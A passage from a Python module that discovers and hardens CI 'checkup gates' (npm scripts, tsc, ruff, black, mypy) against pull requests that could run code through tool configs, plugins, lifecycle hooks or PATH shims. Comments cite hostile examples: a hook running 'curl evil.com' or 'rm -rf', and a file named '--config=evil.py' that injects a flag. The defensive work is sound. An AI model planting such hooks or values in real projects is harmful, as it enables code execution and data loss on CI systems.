if "." in pfx and base.startswith(pfx + "."):
return True
return False
prettier_config_changed = _pr_modified_any(("prettier.config", ".prettierrc"))
eslint_config_changed = _pr_modified_any(("eslint.config", ".eslintrc"))
tsconfig_changed = any(
path.endswith("tsconfig.json")
or "/tsconfig." in path
or path.startswith("tsconfig.")
for path in pr_changed_set
)
# Iter-36 Finding 3 + iter-37 Findings 1 + 2: walk the extends
# chain from EVERY tsconfig the discovery might reach — the
# worktree's top-level ``tsconfig.json`` AND every custom
# project path the recognised tsc-flavoured scripts reference
# via ``-p`` / ``--project``. iter-36 only walked from the root
# tsconfig, so a script ``tsc -p config/build.json --noEmit``
# whose ``config/build.json`` extended ``./base.json`` slipped
# past when the PR modified ``base.json`` alone. The custom
# path can also be a DIRECTORY (tsc looks for
# ``<dir>/tsconfig.json``), which ``_collect_tsconfig_chain_paths``
# already handles.
if not tsconfig_changed:
chain_roots: List[Path] = [worktree / "tsconfig.json"]
for script_name, script_command in scripts.items():
if script_name not in _RECOGNIZED_NPM_SCRIPTS:
continue
if not isinstance(script_command, str):
continue
for project_path in _extract_tsc_project_paths(script_command, worktree):
chain_roots.append(project_path)
chain_paths: set = set()
seen_roots: set = set()
for root in chain_roots:
try:
rkey = root.resolve()
except (OSError, RuntimeError):
continue
if rkey in seen_roots:
continue
seen_roots.add(rkey)
chain_paths.update(_collect_tsconfig_chain_paths(root, worktree))
if chain_paths:
lowered_chain = {p.lower() for p in chain_paths}
if lowered_chain & pr_changed_set:
tsconfig_changed = True
# Iter-29 Finding 2: prettier/eslint configs ``require()``
# arbitrary local JavaScript — including files in subdirectories
# like ``./src/plugin.js``. The iter-28 heuristic that allowed
# subdir ``.js`` was too lax: a stable ``prettier.config.cjs``
# loading ``./src/plugin.js`` lets a PR modifying ONLY that
# plugin module achieve RCE through the gate even though no
# config filename changed. Widen the skip to ANY PR-modified
# ``.cjs`` / ``.mjs`` / ``.js`` file. This deliberately
# over-skips on JS-heavy PRs because we cannot statically
# follow the require chain — the safety contract from issue
# #1092 favours fewer-gates-running over potential RCE through
# PR-controlled tool config plugins.
def _is_plugin_loadable(path: str) -> bool:
return path.endswith((".cjs", ".mjs", ".js"))
js_plugin_module_changed = any(_is_plugin_loadable(path) for path in pr_changed_set)
# Iter-28 Finding 1 + iter-29 Finding 1 + iter-38 Finding 2: a
# script-based tsc gate runs the operator's unmodified argv, so we
# cannot inject ``--incremental false`` / ``--tsBuildInfoFile
# <devnull>`` like the direct gate does. When ANY tsconfig in the
# extends chain sets ``incremental: true`` or ``composite: true``,
# running the script writes ``tsconfig.tsbuildinfo`` into the
# worktree. iter-28 only checked the top-level tsconfig.json;
# iter-29 walked the extends chain from the root; iter-38 widens
# the walk to ALSO start from every custom ``-p <path>`` /
# ``--project <path>`` target referenced by a recognised
# tsc-flavoured script. A script ``tsc -p config/build.json
# --noEmit`` whose ``config/build.json`` sets ``incremental: true``
# would otherwise slip past the root-only check and emit
# ``.tsbuildinfo`` into the worktree (iter-38 Finding 2).
tsconfig_signal_roots: List[Path] = [worktree / "tsconfig.json"]
for script_name, script_command in scripts.items():
if script_name not in _RECOGNIZED_NPM_SCRIPTS:
continue
if not isinstance(script_command, str):
continue
for project_path in _extract_tsc_project_paths(script_command, worktree):
tsconfig_signal_roots.append(project_path)
tsconfig_signals_emit = False
seen_emit_roots: set = set()
for root in tsconfig_signal_roots:
try:
resolved_root = root.resolve()
except (OSError, RuntimeError):
continue
if resolved_root in seen_emit_roots:
continue
seen_emit_roots.add(resolved_root)
if _tsconfig_chain_signals_emit(root, worktree):
tsconfig_signals_emit = True
break
# Map recognized scripts to which config-class they load. A
# script can load multiple — e.g. ``lint:check`` could be
# eslint or prettier — but we conservatively skip when ANY
# plausibly-loaded config changed.
# ``node_modules_pr_touched`` applies to EVERY recognised
# script — the npm invocation always goes through
# ``node_modules/.bin`` or a workspace binary path.
script_config_owners: Dict[str, Tuple[bool, ...]] = {
"format:check": (
prettier_config_changed,
js_plugin_module_changed,
node_modules_pr_touched,
),
"prettier:check": (
prettier_config_changed,
js_plugin_module_changed,
node_modules_pr_touched,
),
"lint:check": (
eslint_config_changed,
prettier_config_changed,
js_plugin_module_changed,
node_modules_pr_touched,
),
"typecheck": (
tsconfig_changed,
tsconfig_signals_emit,
node_modules_pr_touched,
),
"tsc": (
tsconfig_changed,
tsconfig_signals_emit,
node_modules_pr_touched,
),
"tsc:noemit": (
tsconfig_changed,
tsconfig_signals_emit,
node_modules_pr_touched,
),
}
gates: List[Gate] = []
for script_name, script_command in scripts.items():
if script_name not in _RECOGNIZED_NPM_SCRIPTS:
continue
if not isinstance(script_command, str):
continue
if not _script_is_acceptable(script_command):
continue
# Iter-27 Finding 3 enforcement: skip the gate when the PR
# modified a config file the tool would load.
if any(script_config_owners.get(script_name, ())):
logger.debug(
"checkup-gates: skipping npm:%s — PR modified a tool "
"config file the script would load",
script_name,
)
continue
# Iter-34 Finding 3: stable script bodies can also reference
# an EXPLICIT custom config via ``--config <path>`` (or
# ``--config=<path>``, ``-c <path>``). The iter-27 well-known-
# config skip only catches default-named config files
# (``prettier.config.*`` / ``.eslintrc*`` / ``tsconfig*``);
# an operator-supplied custom path slips through. Parse the
# script body for any ``--config`` / ``-c`` argument and
# skip when that path is in the PR diff.
if _script_references_pr_modified_config(script_command, pr_changed_set):
logger.debug(
"checkup-gates: skipping npm:%s — script body references "
"a PR-modified --config path",
script_name,
)
continue
# npm/yarn/pnpm/bun all execute ``pre<name>`` and ``post<name>``
# lifecycle hooks around ``<runner> run <name>``. Discovery only
# inspects the named script; if a malicious or untrusted PR adds
# ``preformat:check`` with ``curl evil.com`` or ``rm -rf``, that
# hook still fires when we invoke the validated script. Refuse to
# discover the gate when ANY pre/post hook exists for it, even an
# empty string — operators can drop the hook or rename the script
# to opt back in. We do not try to validate the hook body, because
# the gate value here (a generic format/typecheck) is not worth
# the attack surface of allowlisting more shell snippets.
if f"pre{script_name}" in scripts or f"post{script_name}" in scripts:
logger.debug(
"checkup-gates: skipping npm:%s — pre/post lifecycle hook present",
script_name,
)
continue
gates.append(
Gate(
name=f"npm:{script_name}",
# iter-40 Finding 1: store the absolute path so
# subprocess.run cannot re-consult PATH at execution
# time. The required_fix_hint keeps the bare name
# because it's documentation for a human operator
# running in their own shell.
cmd=[runner_abs, "run", script_name],
source=f"package.json:scripts.{script_name}",
required_fix_hint=(
f"Run `{runner} run {script_name}` locally and address the "
"reported issues."
),
)
)
# If a typescript config exists and we did not emit a typecheck
# script, try ``npx tsc --noEmit`` directly. Discovery rule: only when
# ``typescript`` appears in the dependency map AND ``tsconfig.json``
# exists AND ``node_modules/typescript/bin/tsc`` is already on disk.
#
# The local node_modules check is load-bearing for determinism: bare
# ``npx tsc`` will silently fall back to a network install (npm
# registry hit + arbitrary install lifecycle) when typescript is
# declared in ``package.json`` but not actually installed in the
# worktree. That turns the "deterministic local gate" into a
# network/install/exec, which is exactly the attack surface the
# issue forbids (issue #1092 product requirement: gates must be
# local, deterministic, bounded, and non-mutating).
if (
(worktree / "tsconfig.json").exists()
and "npm:typecheck" not in {g.name for g in gates}
and "npm:tsc" not in {g.name for g in gates}
and "npm:tsc:noemit" not in {g.name for g in gates}
):
deps: Dict[str, object] = {}
for key in ("dependencies", "devDependencies", "peerDependencies"):
value = data.get(key) or {}
if isinstance(value, dict):
deps.update(value)
tsc_local = worktree / "node_modules" / "typescript" / "bin" / "tsc"
# Iter-29 Finding 3 + iter-30 Finding 1: the local-binary
# precondition trusted ``node_modules/typescript/bin/tsc`` to
# be operator-supplied. A fork PR can ADD or MODIFY any path
# under ``node_modules/`` (binary OR a transitive
# dependency it loads). The iter-29 narrow guard on
# ``node_modules/typescript/`` / ``node_modules/.bin/tsc*``
# missed e.g. ``node_modules/some-tsc-plugin/`` that the
# compiler would load via tsconfig. Generalise the guard:
# skip the direct gate whenever the PR touched anything
# under ``node_modules/``.
# iter-40 Finding 1: resolve ``npx`` to an absolute path against
# the sanitized PATH so a PR ``./npx`` shim cannot become the
# gate binary under ``PATH=.:$PATH``.
npx_abs = _resolve_tool("npx", worktree)
if (
"typescript" in deps
and tsc_local.is_file()
and npx_abs
# Iter-27 Finding 3 + iter-28 Finding 2: skip when PR
# modified tsconfig (RCE via compilerOptions/plugins).
and not tsconfig_changed
and not node_modules_pr_touched
):
gates.append(
Gate(
# Iter-27 Finding 1: ``tsc --noEmit`` STILL writes
# ``tsconfig.tsbuildinfo`` (and per-project
# buildinfo files) when ``incremental: true`` is
# set in tsconfig. The downstream commit/push
# helper then stages that file into the PR on
# repos whose .gitignore does not exclude it.
# Pass ``--incremental false`` to suppress the
# write and ``--tsBuildInfoFile <devnull>`` as
# belt-and-braces so any TypeScript version that
# ignores ``--incremental false`` (none known,
# but cheap) still cannot reach the worktree.
#
# ``--no-install`` keeps npx from reaching the
# registry when typescript is declared but not
# actually installed.
name="tsc-noemit",
cmd=[
npx_abs,
"--no-install",
"tsc",
"--noEmit",
"--incremental",
"false",
# Iter-28 Finding 2: override ``composite``
# at the CLI so the gate works on repos
# whose tsconfig extends-chain sets
# ``composite: true`` (which would
# otherwise conflict with ``--noEmit`` and
# surface as TS6379 — a false blocker).
"--composite",
"false",
"--tsBuildInfoFile",
os.devnull,
],
source="tsconfig.json",
required_fix_hint=(
# Iter-23 Finding 3: point the fixer at the
# ``--no-install`` form. Bare ``npx tsc`` lets
# an LLM fixer that follows the hint reach the
# npm registry — defeating the
# local-node_modules safeguard via the
# automated-fix surface.
"Run `npx --no-install tsc --noEmit --incremental "
"false --composite false --tsBuildInfoFile "
"/dev/null` locally and fix the reported "
"TypeScript errors. Do NOT use bare `npx tsc` — "
"without `--no-install` it can fall back to a "
"registry download/install, and without "
"`--incremental false` / `--composite false` it "
"writes `.tsbuildinfo` and fails TS6379 on "
"project-reference repos."
),
)
)
return gates
def _discover_python_gates(
worktree: Path,
changed_files: Sequence[str],
*,
base_ref: Optional[str] = None,
) -> List[Gate]:
gates: List[Gate] = []
changed_py = [
rel
for rel in changed_files
if rel.endswith(".py") and (worktree / rel).is_file()
]
for rel in changed_py:
gates.append(
Gate(
name=f"py-compile:{rel}",
# Bare ``python -m py_compile <abs>`` mutates the
# reviewed worktree: ``py_compile.compile`` writes
# ``__pycache__/*.pyc`` next to the source file, and
# the loop's downstream ``_commit_and_push_if_changed``
# stages untracked files, so on a repo whose
# ``.gitignore`` does not already exclude
# ``__pycache__/`` the gate would push generated
# bytecode into the PR. The ``-B`` flag does NOT fix
# this because ``py_compile`` writes the artifact
# explicitly regardless of ``sys.dont_write_bytecode``;
# routing ``cfile=os.devnull`` also does not work on
# macOS/Linux because py_compile uses an atomic
# write+rename (you cannot rename onto ``/dev/null``).
# Use the builtin ``compile()`` directly — it validates
# syntax and raises ``SyntaxError`` on bad input without
# writing ANY bytecode file (issue #1092 product
# requirement: gates must be non-mutating).
cmd=[
sys.executable,
"-B",
"-c",
# Read the source as BYTES, not text. ``compile()``
# accepts bytes and respects the PEP 263 encoding
# declaration (``# -*- coding: latin-1 -*-`` and
# friends) — forcing ``encoding='utf-8'`` would
# raise ``UnicodeDecodeError`` on valid non-UTF-8
# Python files, turning the gate into a false
# blocker. ``compile()`` still raises
# ``SyntaxError`` on bad input without writing any
# bytecode to disk.
"import sys; "
"src = open(sys.argv[1], 'rb').read(); "
"compile(src, sys.argv[1], 'exec')",
str(worktree / rel),
],
source=rel,
required_fix_hint=(
# Iter-23 Finding 3: do NOT point an automated
# fixer at bare ``python -m py_compile``. That
# writes ``__pycache__/*.pyc`` next to the source
# file and the loop's downstream commit-and-push
# path stages untracked files, so a fixer
# following this hint can ship bytecode into the
# PR on repos whose .gitignore does not exclude
# ``__pycache__/``. Point at the same
# non-mutating compile() builtin form the gate
# itself uses.
f"Fix the syntax error in {rel}. To re-check locally "
f"without writing __pycache__ artifacts: "
f'`python -B -c "import sys; '
f"compile(open(sys.argv[1], 'rb').read(), sys.argv[1], 'exec')\" "
f"{rel}`."
),
)
)
pyproject = worktree / "pyproject.toml"
pyproject_text = ""
if pyproject.is_file():
try:
pyproject_text = pyproject.read_text(encoding="utf-8")
except OSError as exc:
logger.debug("checkup-gates: pyproject.toml unreadable: %s", exc)
pyproject_text = ""
def _tool_section_present(section: str) -> bool:
if not pyproject_text:
return False
return bool(
re.search(
rf"^\s*\[\s*tool\.{re.escape(section)}\s*\](?:\s|$)",
pyproject_text,
re.MULTILINE,
)
)
# Iter-32 Findings 2 + 3: the Python tool configs
# (``pyproject.toml``, ``setup.cfg``, ``ruff.toml`` / ``.ruff.toml``,
# ``mypy.ini`` / ``.mypy.ini``, ``tox.ini``) are read FROM THE
# WORKTREE. A fork PR can poison ``[tool.black] force-exclude =
# '.*'`` so black exits 0 over real formatting issues, or
# ``[tool.ruff] exclude = ['a.py']`` so ruff reports clean over
# a real lint failure. Skip ALL three Python tool gates when
# the PR touched any of the config files those tools load —
# matches the symmetric treatment we already apply to npm-side
# configs.
pr_changed_pyset = {f.lower() for f in changed_files}
python_tool_config_touched = any(
path.endswith("pyproject.toml")
or path.endswith("setup.cfg")
or path.endswith("ruff.toml")
or path.endswith(".ruff.toml")
or path.endswith("mypy.ini")
or path.endswith(".mypy.ini")
or path.endswith("tox.ini")
for path in pr_changed_pyset
)
# Iter-32 Finding 1 + iter-34 Finding 2: mypy honours
# ``plugins = ["evil_plugin.py"]`` from MULTIPLE config
# surfaces — ``[tool.mypy]`` under pyproject.toml AND ``[mypy]``
# under mypy.ini / .mypy.ini / setup.cfg. The iter-32 helper
# only parsed pyproject.toml, missing a stable mypy.ini that
# references a worktree-local plugin file the PR can then
# modify in isolation. Now we check every mypy config surface.
local_mypy_plugin_declared = _mypy_declares_local_plugin_anywhere(
worktree, pyproject_text
)
# Iter-25 Finding 2: end-of-options ``--`` before the changed-file
# list. Without it a PR that adds a file named ``--config=evil.py``
# (or any path starting with ``-``) would feed that token to the
# tool as a flag instead of a path — bypassing the gate's intent
# and potentially altering its behaviour. ruff, black, and mypy
# all support the POSIX-standard ``--`` separator to mark the end
# of options.
# iter-40 Finding 1: resolve each tool to an absolute path via the
# sanitized PATH so a PR-shipped ``./mypy`` / ``./ruff`` / ``./black``
# shim cannot become the gate binary under an operator's
# ``PATH=.:$PATH``. Storing the absolute path on ``Gate.cmd`` also
# stops ``subprocess.run`` from re-consulting PATH at execution
# time.
ruff_abs = _resolve_tool("ruff", worktree)
if (
changed_py
and _tool_section_present("ruff")
and ruff_abs
and not python_tool_config_touched
):
gates.append(
Gate(
name="ruff",
cmd=[ruff_abs, "check", "--", *changed_py],
source="pyproject.toml:[tool.ruff]",
required_fix_hint=(
"Run `ruff check --fix` locally and address the remaining issues."
),
)
)
# Issue #1433 Bug #2: parity with CI's ``ruff format --check``.
# Codex review pass-8 finding 3: the ruff-format gate is INDEPENDENT
# of the ruff lint gate. Pre-fix code nested it inside the ``[tool.
# ruff]`` block, so a project that runs ``ruff format --check`` in
# CI without ANY ``[tool.ruff]`` declaration silently skipped the
# gate — re-introducing the original Bug #2 local-clean/CI-red
# failure. The format gate's prerequisites are now JUST: a ruff
# binary on the sanitized PATH, a non-empty changed-Python set,
# ``python_tool_config_touched`` False (the same fork-PR-poisoning
# defence the lint gate uses), and one of the explicit/derived
# ruff-format opt-in signals below.
#
# Codex pass-4 finding 3 + pass-5 finding 3 + pass-6 finding 3 +
# pass-7 finding 1: ruff-format opt-in requires an EXPLICIT signal
# that the project uses ruff format. Two signals are accepted:
# 1. ``[tool.ruff.format]`` declared in pyproject.toml — the
# canonical opt-in.
# 2. The literal pattern ``\bruff[\s-]+format\b`` appearing in
# any of the project's CI configs (.pre-commit-config.yaml,
# cloudbuild-*-ci.yaml, .github/workflows/*.yml|*.yaml). The
# hyphen alternative matches the canonical pre-commit hook
# id ``ruff-format`` (pass-7 finding 1).
# Without ANY of these signals the format gate stays silent —
# projects that use ruff for linting alone won't see false-positive
# formatting blockers.
#
# Codex pass-7 finding 2: exclude per-touched-file rather than
# blocking the whole CI-signal branch. Build the worktree-relative
# POSIX path set of CI config files in the PR diff; only those
# individual files are skipped during the scan, so an unchanged
# .pre-commit-config.yaml still contributes its signal when a
# sibling workflow file IS in the diff.
if changed_py and ruff_abs and not python_tool_config_touched:
ci_touched_paths: Set[str] = set()
for path in changed_files:
if (
path == ".pre-commit-config.yaml"
or path.startswith("cloudbuild-")
or path.startswith(".github/workflows/")
):
ci_touched_paths.add(path)
pre_commit_signaled, workflow_signaled = _ruff_format_signaled_by_ci(
worktree,
exclude_paths=ci_touched_paths,
base_ref=base_ref,
)
ci_signaled = pre_commit_signaled or workflow_signaled
if _tool_section_present("ruff.format") or ci_signaled:
if _tool_section_present("ruff.format") or workflow_signaled:
# Codex pass-9 finding 1 + pass-11 finding 1:
# - pyproject.toml ``[tool.ruff.format]`` opts in ALL Python
# files; the pre-commit hook scope is irrelevant.
# - A workflow/CloudBuild signal also means no pre-commit
# scope filter: the workflow runs ``ruff format`` on its own
# file set, which may differ from the pre-commit hook's
# ``files:``/``exclude:`` pattern. Applying the hook scope
# here would silently skip files the workflow checks.
ruff_format_py = list(changed_py)
else:
# Pre-commit-only signal: filter by the hook scope so the
# gate only checks files the configured hook would see
# (codex pass-8 finding 3, union across all hooks pass-9/10).
ruff_format_py = _filter_changed_py_for_ruff_format(
worktree, changed_py
)
if ruff_format_py:
source_label = (
"pyproject.toml:[tool.ruff.format]"
if _tool_section_present("ruff.format")
else "ci-config:ruff format"
)
gates.append(
Gate(
name="ruff-format",
cmd=[
ruff_abs,
"format",
"--check",
"--",
*ruff_format_py,
],
source=source_label,
required_fix_hint=(
"Run `ruff format` locally and commit the formatting "
"changes."
),
)
)
black_abs = _resolve_tool("black", worktree)
if (
changed_py
and _tool_section_present("black")
and black_abs
and not python_tool_config_touched
):
gates.append(
Gate(
name="black",
cmd=[black_abs, "--check", "--", *changed_py],
source="pyproject.toml:[tool.black]",
required_fix_hint=(
"Run `black .` locally and commit the formatting changes."
),
)
)
mypy_abs = _resolve_tool("mypy", worktree)
if (
changed_py
and _tool_section_present("mypy")
and mypy_abs
and not python_tool_config_touched
and not local_mypy_plugin_declared
):
gates.append(
Gate(
name="mypy",
cmd=[mypy_abs, "--", *changed_py],
source="pyproject.toml:[tool.mypy]",
required_fix_hint=(
"Run `mypy` locally and fix the reported type errors."
),
)
)
return gates
def _script_references_pr_modified_config(
script_command: str, pr_changed_set: set
) -> bool:
"""Return True iff the script body's custom-config-pointing
argument references a PR-modified file.
Covers the four common shapes:
* ``--config <path>`` / ``--config=<path>``
* ``-c <path>`` / ``-c=<path>``
* ``-p <path>`` / ``-p=<path>`` (tsc's project flag)
* ``--project <path>`` / ``--project=<path>``
Quoted paths (``--config "./config/lint.json"``,
``--config './conf.json'``) are also handled — quotes survive the
naive ``.split()`` but are stripped before comparison (iter-35
Finding 2).
iter-34 Finding 3 + iter-35 Findings 2 + 3: an operator who
points eslint/prettier/tsc at a custom config (or tsc at a
custom project file) bypasses the iter-27 well-known-config
skip. Path comparison is case-insensitive and tolerant of
leading ``./``.
"""
if not script_command:
return False
# Iter-36 Finding 2: ``.split()`` breaks quoted paths that
# contain spaces (``--config "./config/lint config.json"``)
# into multiple tokens, so the equality check below silently
# fails. ``shlex.split`` respects shell quoting and preserves
# the path as a single token (and conveniently also strips the
# surrounding quote characters). Fall back to plain ``.split``
# if shlex raises on a malformed script — we'd rather still
# try to detect the config than crash the whole gate layer.
lowered = script_command.lower()
try:
tokens = shlex.split(lowered, posix=True)
except ValueError:
tokens = lowered.split()
config_paths: List[str] = []
flag_words = ("--config", "-c", "--project", "-p")
flag_equals = tuple(f + "=" for f in flag_words)
i = 0
while i < len(tokens):
tok = tokens[i]
if tok in flag_words and i + 1 < len(tokens):
config_paths.append(tokens[i + 1])
i += 2
continue
for prefix in flag_equals:
if tok.startswith(prefix):
config_paths.append(tok[len(prefix) :])
break
i += 1
# Iter-37 Finding 3: ``--config config/../config/lint.json``
# is the same target as ``config/lint.json`` once you collapse
# the ``..``. Use ``os.path.normpath`` on BOTH sides of the
# comparison so a PR-modified file isn't missed because the
# script wrote a non-canonical path.
normalised_changed = {os.path.normpath(p) for p in pr_changed_set}
for raw in config_paths:
if not raw:
continue
# Belt-and-braces: if a non-shlex tokenizer kept matching
# quote chars attached, strip one level. (shlex already
# removes them in the success path, so this only fires on
# the fallback split.)
if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in ('"', "'"):
raw = raw[1:-1]
if not raw:
continue
# Iter-37 Finding 3: normalise ``./``, ``..``, and double
# slashes via os.path.normpath. iter-36's single-literal
# ``./``-strip is still useful as a quick path, but
# normpath is the load-bearing canonical form for the
# comparison.
norm = os.path.normpath(raw)
if not norm or norm == ".":
continue
for changed in normalised_changed:
if changed == norm or changed.endswith("/" + norm):
return True
return False
def _mypy_declares_local_plugin_anywhere(worktree: Path, pyproject_text: str) -> bool:
"""Return True iff ANY mypy config surface declares a local plugin.
iter-34 Finding 2 generalises iter-32 Finding 1's check from
pyproject.toml to every config surface mypy actually reads:
* pyproject.toml ``[tool.mypy] plugins = ...``
* mypy.ini ``[mypy] plugins = ...``
* .mypy.ini ``[mypy] plugins = ...``
* setup.cfg ``[mypy] plugins = ...``
A "local plugin" is any entry that contains ``/`` or ``\\``,
starts with ``./`` / ``../``, or ends in ``.py``. iter-38 Finding 3
extends the check: pure-package plugin names (``my_project.mypy_plugin``)
ALSO count as local when the worktree contains a top-level package
of the same name — under an editable install or an inherited
``PYTHONPATH=.``-style env, mypy's plugin import would resolve to
the PR-modified module rather than a stable site-packages copy.
The env scrub in ``_build_subprocess_env`` strips ``PYTHONPATH`` so
the inherited-shell vector is defanged at runtime; this discovery
skip is belt-and-braces for the editable-install case where the
worktree IS the editable target.
"""
if _mypy_declares_local_plugin(pyproject_text):
return True
for name, header_pattern in (
("mypy.ini", r"^\s*\[\s*mypy\s*\]\s*$"),
(".mypy.ini", r"^\s*\[\s*mypy\s*\]\s*$"),
("setup.cfg", r"^\s*\[\s*mypy\s*\]\s*$"),
):
path = worktree / name
if not path.is_file():
continue
try:
text = path.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
continue
if _ini_section_has_local_plugin(text, header_pattern):
return True
# iter-38 Finding 3 defence-in-depth: a "pure package" entry whose
# top-level name maps to a worktree package directory could still
# resolve to PR-controlled code under an editable install whose
# editable target IS the worktree. The env scrub handles the
# PYTHONPATH case at runtime; this catches the editable-install
# case at discovery time.
if _mypy_pure_package_plugin_resolves_to_worktree(worktree, pyproject_text):
return True
return False
# iter-39 Finding 2: Python's "src/" layout (``setup.cfg``-era
# convention, increasingly common in pyproject-based projects) puts the
# importable package at ``worktree/src/<top_level>/`` rather than
# ``worktree/<top_level>/``. An editable install of a src-layout
# project adds ``worktree/src/`` to ``sys.path``, so a pure-package
# plugin reference still resolves to PR-controlled code. Mirror the
# root-level check at the ``src/`` level. (Other less-common roots —
# ``[tool.setuptools.packages.find].where``, hatchling's
# ``packages = ["lib/foo"]`` — are out of v1 scope: parsing them
# accurately is large and the two roots below cover the dominant
# layouts.)
_PYTHON_SRC_ROOTS: Tuple[str, ...] = ("", "src")
def _mypy_pure_package_plugin_resolves_to_worktree(
worktree: Path, pyproject_text: str
) -> bool:
"""Return True iff any "pure package" mypy plugin entry's top-level
name matches a package directory or module file in the worktree.
iter-38 Finding 3: ``plugins = ["my_project.mypy_plugin"]`` is
treated as a local plugin when the worktree has ``my_project/``
(with an ``__init__.py``) or a ``my_project.py`` file, because an
editable install of the worktree (or any setup that adds the
worktree to ``sys.path``) makes mypy import the PR-controlled
module rather than a stable site-packages copy.
iter-39 Finding 2 extends the check to the ``src/`` layout:
``worktree/src/my_project/`` is the dominant alternative root, and
an editable install of a src-layout project adds ``src/`` to
``sys.path`` so the plugin import resolves there. We probe both
``worktree/<top_level>`` and ``worktree/src/<top_level>``.
Only pure-package entries are inspected here. Path-shaped entries
(``./plugin.py``, ``/abs/plugin.py``, ``a/b/c.py``) are already
caught by ``_mypy_declares_local_plugin``/``_ini_section_has_local_plugin``.
"""
entries: List[str] = []
entries.extend(_extract_mypy_plugin_entries(pyproject_text))
for name, header_pattern in (
("mypy.ini", r"^\s*\[\s*mypy\s*\]\s*$"),
(".mypy.ini", r"^\s*\[\s*mypy\s*\]\s*$"),
("setup.cfg", r"^\s*\[\s*mypy\s*\]\s*$"),
):
path = worktree / name
if not path.is_file():
continue
try:
text = path.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
continue
entries.extend(_extract_ini_mypy_plugin_entries(text, header_pattern))
for entry in entries:
entry = entry.strip()
if not entry:
continue
# Skip path-shaped entries — already handled by the local-path
# heuristic above.
if (
"/" in entry
or "\\" in entry
or entry.startswith("./")
or entry.startswith("../")
or entry.endswith(".py")
):
continue
top_level = entry.split(".", 1)[0]
# Defence: top-level identifier must be a plausible Python
# package name; otherwise skip (avoids treating something like
# an empty string or a weird config entry as a directory).
if not top_level or not re.match(r"^[A-Za-z_][A-Za-z0-9_]*$", top_level):
continue
# iter-39 Finding 2: check both the flat layout
# (``worktree/<top_level>``) AND the src layout
# (``worktree/src/<top_level>``). Editable installs add the
# src root to ``sys.path`` so a plugin import resolves
# against ``src/<top_level>`` even though no top-level
# directory of that name exists at the worktree root.
for src_root in _PYTHON_SRC_ROOTS:
base = worktree if not src_root else worktree / src_root
if not base.is_dir():
continue
pkg_dir = base / top_level
if (pkg_dir / "__init__.py").is_file():
return True
if (base / f"{top_level}.py").is_file():
return True
# PEP 420 namespace packages — a worktree directory with
# no ``__init__.py`` can still expose
# ``top_level.submodule`` via namespace-package discovery
# on ``sys.path``. Conservatively treat a same-named
# directory as worktree-resolvable.
if pkg_dir.is_dir():
return True
return False
def _extract_mypy_plugin_entries(pyproject_text: str) -> List[str]:
"""Return every plugin entry under ``[tool.mypy]`` in pyproject.toml.
Mirrors the loose regex in ``_mypy_declares_local_plugin`` but
returns the raw entries instead of a boolean. Used by the
pure-package worktree-resolution check (iter-38 Finding 3).
"""
if not pyproject_text:
return []
header = re.search(
r"^\s*\[\s*tool\.mypy[^\]]*\]\s*$",
pyproject_text,
re.MULTILINE,
)
if not header:
return []
tail = pyproject_text[header.end() :]
next_table = re.search(r"^\s*\[", tail, re.MULTILINE)
section = tail if not next_table else tail[: next_table.start()]
plugins_match = re.search(
r'^\s*plugins\s*=\s*(\[[^\]]*\]|"[^"\n]*"|\'[^\'\n]*\')',
section,
re.MULTILINE,
)
if not plugins_match:
return []
raw = plugins_match.group(1)
entries = re.findall(r'"([^"\n]*)"|\'([^\'\n]*)\'', raw)
return [(q1 or q2) for q1, q2 in entries]
def _extract_ini_mypy_plugin_entries(text: str, header_pattern: str) -> List[str]:
"""Return every plugin entry under an INI ``[mypy]`` section.
Mirrors ``_ini_section_has_local_plugin`` but returns the raw
entries. Used by the pure-package worktree-resolution check
(iter-38 Finding 3).
"""
if not text:
return []
header = re.search(header_pattern, text, re.MULTILINE)
if not header:
return []
tail = text[header.end() :]
next_section = re.search(r"^\s*\[", tail, re.MULTILINE)
section = tail if not next_section else tail[: next_section.start()]
plugins_match = re.search(
r"^\s*plugins\s*=\s*(.+?)\s*$",
section,
re.MULTILINE,
)
if not plugins_match:
return []
raw = plugins_match.group(1).strip()
return [entry.strip() for entry in re.split(r"[,\s]+", raw) if entry.strip()]
def _ini_section_has_local_plugin(text: str, header_pattern: str) -> bool:
"""Return True iff the ``[mypy]`` section of an INI/CFG file declares
a worktree-local plugin path.
INI plugin syntax: ``plugins = pkg.main, ./local_plugin.py`` (comma-
or whitespace-separated). We tokenize on commas and whitespace and
apply the same local-path heuristic as the pyproject helper.
"""
if not text:
return False
header = re.search(header_pattern, text, re.MULTILINE)
if not header:
return False
tail = text[header.end() :]
next_section = re.search(r"^\s*\[", tail, re.MULTILINE)
section = tail if not next_section else tail[: next_section.start()]
plugins_match = re.search(
r"^\s*plugins\s*=\s*(.+?)\s*$",
section,
re.MULTILINE,
)
if not plugins_match:
return False
# INI plugin list: comma- or whitespace-separated bare tokens
# (no quoting). Split on either.
raw = plugins_match.group(1).strip()
for entry in re.split(r"[,\s]+", raw):
entry = entry.strip()
if not entry:
continue
if (
"/" in entry
or "\\" in entry
or entry.startswith("./")
or entry.startswith("../")
or entry.endswith(".py")
):
return True
return False
def _mypy_declares_local_plugin(pyproject_text: str) -> bool:
"""Return True iff ``[tool.mypy] plugins`` references a worktree path.
mypy plugin entries can be:
* a pure Python package import (``"mypy_django_plugin.main"``) — safe
because we never load anything from the worktree in this case
* a relative or absolute path to a ``.py`` file
(``"./local_mypy_plugin.py"``, ``"/abs/plugin.py"``) — UNSAFE
because a PR can modify the referenced file
iter-32 Finding 1 requires the second class to disable the gate
even when the PR does NOT touch pyproject.toml itself, because
the plugin file alone is sufficient to achieve RCE. We use a
loose regex to find the ``plugins`` setting under any
``[tool.mypy]`` (or ``[tool.mypy.…]``) header and conservatively
flag any entry containing ``/``, ``\\``, ``./``, ``../``, or a
``.py`` suffix as worktree-local.
"""
if not pyproject_text:
return False
header = re.search(
r"^\s*\[\s*tool\.mypy[^\]]*\]\s*$",
pyproject_text,
re.MULTILINE,
)
if not header:
return False
# Slice from header to the next ``[`` table header (or EOF).
tail = pyproject_text[header.end() :]
next_table = re.search(r"^\s*\[", tail, re.MULTILINE)
section = tail if not next_table else tail[: next_table.start()]
plugins_match = re.search(
r'^\s*plugins\s*=\s*(\[[^\]]*\]|"[^"\n]*"|\'[^\'\n]*\')',
section,
re.MULTILINE,
)
if not plugins_match:
return False
raw = plugins_match.group(1)
# Extract every quoted string entry from the value.
entries = re.findall(r'"([^"\n]*)"|\'([^\'\n]*)\'', raw)
for q1, q2 in entries:
entry = (q1 or q2).strip()
